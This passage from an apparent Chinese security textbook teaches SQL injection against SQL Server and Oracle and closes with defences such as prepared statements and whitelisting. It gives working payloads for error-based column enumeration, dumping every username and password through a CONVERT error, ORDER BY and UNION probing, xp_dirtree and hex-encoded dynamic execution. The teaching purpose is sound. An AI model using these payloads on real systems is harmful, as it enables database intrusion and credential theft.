4. SQL Server数据库特性
1)利用错误信息枚举当前表和列
假设当前有这么一张数据表。
create table users( id int not null identity(1,1), username varchar(10) not null, password varchar(10) not null, email varchar(50) )
插入几条数据,比如。
insert into dbo.usersvalues('jerry','123456','xianggu625@126.com')
假设和系统中由用户输入用户名,然后显示该用户的信息,假设SQL语句为:
select * from users whereusername='$var'
假设这时候存在SQL注入,可以利用错误信息来获取表单的信息,方法如下。
在输入框中输入:jerry' having 1=1--,这时候SQL语句变为。
select * from users whereusername='jerry' having 1=1--'
后台会显示。
消息 8120,级别 16,状态 1,第 1 行
选择列表中的列'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。
从而暴露表名users及列名id。接下来,在输入框中输入:jerry' group by id having 1=1--,这时候SQL语句变为。
select * from users whereusername='jerry' group by id having 1=1--'
后台会显示。
消息 8120,级别 16,状态 1,第 1 行
选择列表中的列'users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。
这时候,又暴露列名id username。继续,在输入框中输入:'jerry' group byid,username having 1=1--,这时候SQL语句有变为。
select * from users whereusername='jerry' group by id,usernamehaving 1=1--'
后台会显示。
消息 8120,级别 16,状态 1,第 1 行
选择列表中的列'users.password' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。
又把列名password给暴露了。
2)利用错误信息提取数据
假设用户登录界面,存在两个输入文本框,分别要求输入用户名和密码。在用户名文本框中输入:tom,而在密码文本框中输入:555555'and 1>(select top 1 username from users) --,SQL语句可能为如下形式。
select * from users whereusername='tom' and password='555555' and 1>(select top 1 username fromusers) --'
这个时候页面显示。
消息245,级别16,状态1,第1行
在将varchar值'jerry'转换成数据类型int时失败。
这样暴露了用户名为jerry,而不是输入的tom。
接下来,修改用户名为jerry,密码文本框中输入:555555'
and 1=CONVERT(int,(select stuff((select','+users.username,'|'+users.password from users
for xml path('')),1,1,''))) --,SQL语句可能为如下形式。
select* from users where username='jerry' and password='555555' and1=CONVERT(int,(select stuff((select ','+users.username,'|'+users.password fromusers for xml path('')),1,1,''))) --'
此时系统将把表中的所有信息显示出来。
消息 245,级别 16,状态 1,第 1 行
在将 nvarchar 值'jerry|123456,Linda|654321,cindy|qwert,Jessica|mnbvc' 转换成数据类型int 时失败。
由于黑客无法真正操作数据库,而是通过页面显示错误信息而得之的,所以需要注意以下两点。
- 程序不要把错误信息暴露给前端。
- 发布版本的时候,请关闭debug模式,尽可能把不必要的信息暴露给使用者。
3)利用Order by子句盲注
仍旧以开始的表为例,可以通过Order by子句盲注来获得表中的列数。假设页面URL为:http://www.mydomain.com/xxx.jsp?id=1,功能是显示id为1个用户的信息,存在SQL注入风险。
把URL后缀改为:…?id=1 Order by 1,对应SQL语句可能为。
select * from users where id=1Order by 1
显示正常,将Order by 1改为Order by 2,对应SQL语句可能为。
select * from users where id=1Order by 2
显示仍旧正常,将Order by 2改为Order by 3,对应SQL语句可能为。
select * from users where id=1Order by 3
显示仍旧正常,将Order by 3改为Order by 4,对应SQL语句可能为。
select * from users where id=1Order by 4
显示还是正常,将Order by 4改为Order by 5,对应SQL语句可能为。
select * from users where id=1Order by 5
显示内部错误,说明当前表中存在4列,这样为下面UNION攻击打下基础。
4)通过UNION攻击获取字段类型
有了上面的攻击,黑客得之当前表中存在4列,可以通过UNION攻击获取每列的字符类型。
URL后缀做如下修改:…?id=1Order by 1 union select 'x',null,null,nullfrom sysobjects where xtype='U',这样SQL语句变为。
select * from users where id=1union select 'x',null,null,null fromsysobjects where xtype='U'
显示内部错误,说明第一个字段不是字符串类型,修改URL:…?id=1 Order by 1 union select 1,null,null,null from sysobjects wherextype='U',这样SQL语句变为。
select * from users where id=1union select 1,null,null,null fromsysobjects where xtype='U'
显示正常,说明第一个字段是整数类型。从而可以继续判断后面三个字段类型。
5)通过UNION攻击获取元数据
正如3.1-2最后所述,可以利用UNION攻击获取元数据。在SQL Server中获取元数据语句如下。
- 获取表名
SELECT TABLE_NAME FROMINFORMATION_SCHEMA.TABLES
- 获取表中的列名
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNSwhere TABLE_NAME='users'
6)利用数据库函数
与MySQL一样,也可以使用数据库自带的函数获得系统数据,在这里仅把一些关键函数列在6中,不做过多的介绍。
6 SQL Server主要函数
函数 |
解释 |
select suser_name() |
返回用户登录的标识名 |
select user_name() |
基于指定的标识号返回数据库的用户名 |
select db_name() |
返回数据库名称 |
select is_member('db_owner') |
是否为数据库角色 |
select convert(int, '5') |
数据类型转换 |
stuff() |
字符串截取函数 |
acscii() |
取ASCII码 |
getdate() |
返回日期 |
count() |
返回总记录数 |
cast() |
将一种类型的表达式转换成另一种类型的表达式 |
rand() |
返回随机数 |
is_srvrolemember() |
指定SQL Server登录名是否为指定服务器角色的成员 |
7)使用存储过程
使用存储过程可以查询到数据库之外的系统信息,比如SQL Server下有一个存储过程叫xp_dirtree ,利用它可以获得目录dir所有子目录。SQL语句如下。
select * from users whereid=1;exec xp_dirtree 'C:\WINDOWS'
显示C:\WINDOWS所有目录与子目录。运行后的效果如27所示。
27 执行存储过程xp_dirtree'C:\WINDOWS'运行结果
更多的SQL Server存储过程读者可以查询SQL Server官方网站,另外读者也可以自己书写存储过程。
8)动态执行
SQL Server支持动态执行,其形式如下。
exec('select * from users')
如果前端不允许引号存在,可以使用下面形式。
declare @myquery varchar(888) select @myquery =0x73656C6563742031 exec(@myquery)
防止动态执行最有效的方式是系统不要允许用户输入执行代码。
5. Oracle数据库特性
对于Oracle数据库,有了前面的知识,不做详细地介绍。
1)获取元数据
按照7的方法获取Oracle元数据
7 获取Oracle元数据
内容 |
语句 |
user_tablespaces视图,查看表空间 |
select tablespace_name from user_tablespaces |
user_tables视图,查看当前用户的所有表 |
select table_name from user_tables where rownum=1 |
user_tab_columns视图,查看当前用户的所有列 |
select column_name from user_tab_columns where table_name= 'users' |
服务器监听 IP |
select utl _inaddr.get _host_address from dual |
服务器操作系统 |
select member from v$logfile where rownum=1 |
服务器sid |
select instance _name fromv$instance |
当前连接用户 |
select SYS_CONTEXT('USERENV', 'CURRENT_USER') trom dual |
all_users视图,查看 Oracle数据库的所有用户。 |
select username from all_user |
user_obiects视图,查看当前用户的所有对象(表名称、约束、索引)。 |
select obect_name from user_objects |
2)通过UNION查询获取敏感信息
按照8的方法通过UNION查询获取敏感信息。
8 获取Oracle敏感信息
内容 |
语句 |
当前用户权限 |
select * from session_roles |
当前数据库版本 |
select banner from sys.v _$Version where rownum=1 |
服务器出口IP |
utl_http.request |
服务器监听 IP |
select utl _inaddr.get _host_address from dual |
服务器操作系统 |
select member from v$logfile where rownum=1 |
服务器sid |
select instance _name fromv$instance |
当前连接用户 |
select SYS_CONTEXT('USERENV', 'CURRENT_USER') trom dual |
Oracle不支持多语句查询,如下语句是错误的。
select * from user;exec(….)
另外在Oracle进行UNION查询的时候,不能采取
union slelect null,null,null
格式,而要采取如下格式。
union slelectnull,null,null…from dual
6. SQL注入的测试方法
对于SQL注入的测试,可以采用SQL Map、Pangolin(穿山甲)这两个工具,具体这两个工具的使用方法,在本书下篇的第6.2.2和第6.2.3将进行详细介绍。
7. SQL注入的防护方法
SQL注入的防护方法有以下几种方法。
1)严格字符类型
对于强类型语言,比如JAVA、C#,对于id不要使用字符串格式,而使用整数格式。比如。
int id =Inter.ParseInt(request.getParameter("id"));
而对于弱类型语言,比如PHP、ASP,使用类似is_number() ctype_digit()函数来判断。比如。
$id=$_GET('id') if (is_number($id)){ $sql = "select * fromtables where id=$id;"; } else{ echo "id必须为整数类型" }
2)特殊转义字符
select * from user whereusername= '1111' password= '\' or 1=1 --\''
上面语句把单引号通过\转义。如果是JAVA语句可以用ESAPI。
Oracle orcl = new OracleCode(); String sql = select * from userwhere USERI="+ESAPI.encoder().encodeForSQL(orcl,userId); Statement stmt=conn.creatrStatement(sql);
3)使用预编译
前面讲到的案例会发现都是使用拼接SQL语句的方式来实现,在JAVA中可以使用预编译的方式来实现防止SQL注入。下面代码是通过预编译来实现对数据如的查询的jsp代码。
<% … String sql="select count(*)as mycount from user where name=? and password=?" ; Stringurl="jdbc:mysql://localhost/"+dbName+"?user="+userName+"&password="+userPasswd; Class.forName(driverName).newInstance(); Connectionconn=DriverManager.getConnection(url); PreparedStatement ps =conn.prepareStatement(sql); ps.setString(1,name); ps.setString(2,password); ResultSet rs =ps.executeQuery(); out.print(sql+"<br>"); rs.next(); … rs.close(); conn.close(); }catch(Exception e){ out.print(e);} %>
4)利用白名单过滤
可以利用白名单,控制可以访问的表名。
StringtableName=request.getParameter("tablename"); iftableName.equals("teacher"){ stmt= "select * from teacher where name=? "; }else iftableName.equals("student"){ stmt = "select * from student wherename=? "; }else { thrownew SQLException("table name is error!!! "); }
5)使用安全WEB开发框架
另外,现在有许多成熟的框架,比如python的Django就具有天生的消灭SQL注入的机制。有兴趣的读者可以参考我的著作《基于Django的电子商务网站设计》一书。